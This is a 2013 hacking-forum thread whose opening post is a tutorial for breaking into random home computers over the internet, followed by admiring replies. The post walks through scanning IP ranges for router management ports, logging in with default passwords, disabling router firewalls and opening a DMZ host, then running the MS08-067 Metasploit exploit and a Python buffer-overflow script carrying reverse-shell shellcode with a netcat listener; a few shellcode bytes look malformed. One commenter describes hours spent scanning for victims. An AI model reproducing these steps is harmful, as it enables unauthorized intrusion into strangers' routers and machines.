

Forum:[Hack Forums](#)

Thread: [\[TuT\] Infamous - Exploiting systems over WAN \[TuT\]](#)

-?Divine- - February 6, 2013, 2:41 pm

A lot of people are wondering if it's possible to exploit systems that are not in your local network without the use of pivoting. Pivoting requires us to already have access to one of the machines that are in the target's network. I have already covered it in my lesson which can be found [here](#). So, is it really possible to pentest machines that are over WAN with just their IP? The answer is yes and no.

Yes because it is possible in theory and can be done and no because only specific systems can be targeted and the targets are random. Also, chances of success aren't that great either.

Before you begin, I highly recommend you watch my lessons and read my tutorial.

[? Antagonism | Beginner Hacking Classroom | Apply here! ?](#)
[Metasploit Ultimate](#)

If you are interested in writing your own exploits, read:[\[TuT\] Antagonism | Buffer Overflow \[TuT\]](#)

Theory

If you didn't read the tutorials I provided above go ahead and do it. But just in case, I'll explain this one more time. Your victim is behind a router and you can't access his local network directly. He has external IP address and internal IP address. And so do you. Remember how reverse connection works? Request is sent from his local machine through his router to your router. There the request gets confused because it doesn't know where to go, there are multiple choices inside your local network. You had to forward all incoming connections on a certain port to local machine of your choosing to get the connection.

When you try to trigger the exploit on a remote system over WAN, it would go through your local machine, then through your router to his and then it would stop. It would too get confused and it would need directions. Port forwarding on his router is required.

But how could you possibly access someone else's router from the comfort of your home? There is a special feature in them that is called remote management. It was originally made so that your ISP doesn't need to come to your house to solve your problem. They could access it directly from their office and fix it from there. Remote management allows people from WAN to access your router. And a lot of ISPs even have that option set for default.

So, upon accessing it, we will forward all connections of remote port that the exploit uses to target system on his local network and we will successfully penetrate it. We could also set up a DMZ host.

Targeting

Start up BackTrack Console and run a nmap scan on a lot of targets. You want to check if port 80 or 8080 is open as these two are the ones most commonly used for remote management. Let's scan everything between 92.154.24.0 and 92.154.24.255 for example. The IP I provided is random and I didn't use it for actual demonstration.

In it, type:

PHP Code

```
<?php
```

```
nmap -p 8080 92.154.24.0/24
```

Find ones that show up as opened in the scan, and attempt to access them from your browser.

The scan returned me eleven exploitable ones but I will demonstrate this one. Also, please note that the IP address will change since it's dynamic.

So in my browser, I went to:

PHP Code

```
<?php
```

```
IP:8080
```

I was greeted with this lovely message.

When this happens (it always will) you need to try and guess the password. It most likely wasn't changed and is still default one. You should try:

PHP Code

```
<?php
```

```
Username: Admin
```

```
Password: Admin
```

That is the most common one. But your best bet is to google the router model and try to find the default password. The one in my example was:

PHP Code

```
<?php
```

```
Username: telekom
```

```
Password: telekom
```

We're in.

Now you want to see the machines that are connected. Check the DHCP Clients list.

Our target will be 192.168.0.100. Now before doing anything let's check how the map to the target looks (Image taken from router itself)

We need to turn off the firewall of the router and set its security to minimum. Disable all security options. Allow incoming traffic from WAN. Allow pings from WAN. But then again, it will all be in vain if the victim has firewall enabled on his local machine. That is exactly why I said this works in theory

but is extremely rare.

Now we need to set up DMZ host. DMZ host is a host on local network which has all ports exposed to traffic from WAN except ports that are forwarded in other direction. However this is very important to remember. If you do decide to use DMZ host instead of port forwarding, you might lose access to the router itself. Why? Because the port that you are using for remote management is also being forwarded to the DMZ host itself. So make all modifications before doing so, just in case.

Now do an Nmap scan of this IP. It should return you the list of open ports on local machine.

PHP Code

```
<?php
```

```
PORT      STATE      SERVICE
```

```
445/tcp    open       microsoft-ds
```

Yay. Let's run the good old netapi exploit.

Type:

PHP Code

```
<?php
```

```
use windows/smb/ms08_067_netapi
```

Let's see what options we need to set by doing:

PHP Code

```
<?php
```

```
Show Options
```

We need to set RHost (Remote host). Port is by default set to 445(RPort).

So let's input the IP of our target:

PHP Code

```
<?php
```

```
set rhost (ExternalIPofTarget)
```

Now we need to choose payload. We will use meterpreter bind payload. Why bind? Because reverse payload will have troubles reaching you. But I'll show how to use that one as well in next example.

PHP Code

```
<?php
```

```
Set payload windows/meterpreter/bind_tcp
```

Type show options again. Now it says we need to set lport and lhost. Lhost is your IP address and LPort can be whatever port you want (It mustn't be used already). I will use 4444.

PHP Code

```
<?php
```

Set lport 4444

Now all we need to do is type exploit and new meterpreter session will open.

PHP Code

```
<?php  
exploit
```

Reverse Payload

It will require you to port forward on your router as well. Forward the lport to your local IP address.

Remember [\[TuT\] Antagonism | Buffer Overflow \[TuT\]](#) that exploits MiniShare? Some members have asked me how to change the lport and lhost so I'll show how to use this exploit on this remote system.

Open BackTrack console and type:

PHP Code

```
<?php  
msfpayload windows/shell_reverse_tcp LHOST=YourExternalIP LPORT=4444 R | msfencode -  
a x86 -b '\x00\x0a\x0d' -t c
```

Take what it outputs and place it in the exploit itself:

PHP Code

```
<?php  
import socket  
soc = socket.socket()  
soc.connect(("192.168.2.105", 80))  
  
buf = "GET " + "\x41"*1787  
buf += "\x65\x82\xA5\x7C" #JMP ESP  
buf += "\x41"*30 #NOPS  
buf += ("\xb8\x94\xf9\xf4\xb9\xdb\xdc\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"  
"\x4f\x31\x43\x14\x03\x43\x14\x83\xeb\xfc\x76\x0c\x08\x51\xff"  
"\xef\xf1\xa2\x9f\x66\x14\x93\x8d\x1d\x5c\x86\x01\x55\x30\x2b"  
"\xea\x3b\xa1\xb8\x9e\x93\xc6\x09\x14\xc2\xe9\x8a\x99\xca\xa6"  
"\x49\xb8\xb6\xb4\x9d\x1a\x86\x76\xd0\x5b\xcf\x6b\x1b\x09\x98"  
"\xe0\x8e\xbd\xad\xb5\x12\xbc\x61\xb2\x2b\xc6\x04\x05\xdf\x7c"  
"\x06\x56\x70\x0b\x40\x4e\xfa\x53\x71\x6f\x2f\x80\x4d\x26\x44"  
"\x72\x25\xb9\x8c\x4b\xc6\x8b\xf0\x07\xf9\x23\xfd\x56\x3d\x83"  
"\x1e\x2d\x35\xf7\xa3\x35\x8e\x85\x7f\xb0\x13\x2d\x0b\x62\xf0"  
"\xcf\xd8\xf4\x73\xc3\x95\x73\xdb\xc0\x28\x50\x57\xfc\xa1\x57"  
"\xb8\x74\xf1\x73\x1c\xdc\xa1\x1a\x05\xb8\x04\x23\x55\x64\xf8"  
"\x81\x1d\x87\xed\xb3\x7f\xc0\xc2\x89\x7f\x10\x4d\x9a\x0c\x22"  
"\xd2\x30\x9b\x0e\x9b\x9e\x5c\x70\xb6\x66\xf2\x8f\x39\x96\xda"  
"\x4b\x6d\xc6\x74\x7d\x0e\x8d\x84\x82\xdb\x01\xd5\x2c\xb4\xe1"  
"\x85\x8c\x64\x89\xcf\x02\x5a\xa9\xef\xc8\xed\xee\x78\x33\x45"  
"\xf2\x12\xdb\x94\xf2\xf3\x47\x10\x14\x99\x67\x74\x8f\x36\x11"  
"\xdd\x5b\xa6\xde\xcb\xcb\x4b\x4c\x90\x0b\x05\x6d\x0f\x5c\x42")
```

```
"\x43\x46\x08\x7e\xfa\x02\xe\x83\x9a\x3b\xeal\x58\x5f\xc5\xf3"
"\x2d\xdb\xe1\xe3\xeb\xe4\xad\x57\xa4\xb2\x7b\x01\x02\x6d\xca"
"\xfb\xdc\xc2\x84\x6b\x98\x28\x17\xed\xa5\x64\xe1\x11\x17\xd1"
"\xb4\x2e\x98\xb5\x30\x57\xc4\x25\xbe\x82\x4c\x55\xf5\x8e\xe5"
"\xfe\x50\x5b\xb4\x62\x63\xb6\xfb\x9a\xe0\x32\x84\x58\xf8\x37"
"\x81\x25\xbe\xa4\xfb\x36\x2b\xca\xa8\x37\x7e") # Replace this part
```

```
buf+=" HTTP/1.1\r\n\r\n"
```

```
soc.send(buf)
soc.close()
```

Now start a new backtrack console and type:

```
PHP Code
<?php
nc -nvlp 4444
```

Netcat will start listening and you will have your session.

Marcus Aurelius - February 6, 2013, 2:46 pm

Great job, i am currently making a tutorial, do you mind if i use the font / type of using colors?

Thanks man!

Dyme - February 6, 2013, 2:49 pm

Another great tutorial Divine. Learned a bit from this, hopefully I will successful in trying it!

-?Divine- - February 6, 2013, 2:51 pm

(Feb 6, 2013 03:46 PM)FuzZyModz Wrote: [\[CITE\]](#) Great job, i am currently making a tutorial, do you mind if i use the font / type of using colors?

Thanks man!

I don't own any of them. Feel free to use it.

Thanks Dyme.

amus3d - February 6, 2013, 3:30 pm

Another nice tutorial, thanks for this. ;3

pashabiceps - February 6, 2013, 3:30 pm

Another great tutorial from Divine.

Thanks for posting.

Processor - February 6, 2013, 11:17 pm

This a great tutorial! HQ

Spoiler [\(Click to View\)](#)353535353535

-?Divine- - February 7, 2013, 2:34 am

Glad you all liked it. Thanks for your feedback guys.

dildilk - February 7, 2013, 10:38 am

great posting.. very excellent post. thanks for posting

avloIm - February 7, 2013, 10:50 am

nice tut we should expect the new one soon

PoLoW - February 7, 2013, 10:51 am

This is Amazing OP, is it possible to do this without installing Backtrack, or it's required ?

Nice share for real

-?Divine- - February 7, 2013, 10:58 am

(Feb 7, 2013 11:51 AM)Polow Wrote: [\[CITE\]](#) This is Amazing OP, is it possible to do this without installing Backtrack, or it's required ?

Nice share for real

You could install Metasploit on windows as well.

ExclenKr - February 7, 2013, 11:07 am

Man is this will also work for hacking win 7 systems

4RG0S - February 7, 2013, 11:57 am

Amazing Tutorial, like all the others :)

-?Divine- - February 8, 2013, 1:34 am

Thank you, I am glad you liked it mate.

bernardbear - February 8, 2013, 4:00 am

backtrack always make us wondering. thank You Bro

H A L I K - February 8, 2013, 4:02 am

Very Nice Tut ? & HQ tut keep it up bro.

Keeper - February 8, 2013, 7:06 am

Great content. Nevertheless, something of a different sort in here.

-?Divine- - February 23, 2013, 9:16 am

(Feb 8, 2013 08:06 AM)Keeper Wrote: [\[CITE\]](#) Great content. Nevertheless, something of a different sort in here.

Exactly. All tutorials posted these days are pretty much on the same topic.

mortalus - February 25, 2013, 10:06 am

Excellent tutorial, Thank you very much

?Dante - February 26, 2013, 10:06 am

Nice tutorial D.

I remember this and some other techniques too which I used to play around ma friendly WANs (not so friendly thought :P).

Hey D ([Click to View](#))

Am I still in Anta? :(

ngangsiaa - February 26, 2013, 10:28 am

this is a great tutorial nice job man

abodlanyer - March 4, 2013, 1:49 am

Great tut man! Although I'm still trying to figure out why some routers/gateways doesn't have a remote management console. Or perhaps it depends on ISP/Location.

Lev (???) - March 4, 2013, 2:06 am

An explanatory hq tut
as aalways...

chottan - March 4, 2013, 2:16 am

Divine can you please make a video on it please man

-?Divine- - March 7, 2013, 6:23 am

I'm glad everyone liked it. And I might do this in Pentesting classroom later.

-?Divine- - March 22, 2013, 11:37 am

(Mar 7, 2013 07:23 AM)-?Divine- Wrote: [\[CITE\]](#) I'm glad everyone liked it. And I might do this in Pentesting classroom later.

I lied. I still haven't done a lesson on this yet.

Limboland™ - March 22, 2013, 1:32 pm

Nice Nice very Nice I love it ,thank you for that

It's very easy but effective ,thank you

????

-?Divine- - March 31, 2013, 9:29 am

Glad you liked it Limboland™. Thanks for commenting.

Nephist - March 31, 2013, 9:37 am

Many thanks for this tutorial! :D

I would rep you if I could.

Thanks again. ;)

TheNeutron - March 31, 2013, 11:16 am

Woh.... Legit tutorial mate. Thanks you, I like all your guides and tutorials.

-?Divine- - March 31, 2013, 4:46 pm

Glad you liked it HackOpz. Thanks for commenting.

Illicit - July 8, 2013, 6:11 pm

I am unable to thank you more, this tutorial is amazing.

DazEErR. - September 22, 2013, 4:42 pm

Thanks for this great help!!! nice tut also

vico100 - October 20, 2013, 11:13 am

great tutorial mate.very helpful and informative :)

banc1234 - *September 28, 2014, 8:30 am*

nice tutorial but what if you just scan for 445 open ports ... more success i believe because i was doing your method for 4 hours and no results ... now i am scanning 445 maybe i will get lucky ! :)

d1ce - *November 4, 2014, 8:36 am*

Thanks for this post. Every interesting theory